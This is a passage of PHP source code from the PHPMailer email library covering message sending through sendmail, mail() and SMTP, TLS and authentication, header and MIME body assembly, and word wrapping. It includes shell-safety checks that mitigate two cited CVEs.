                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
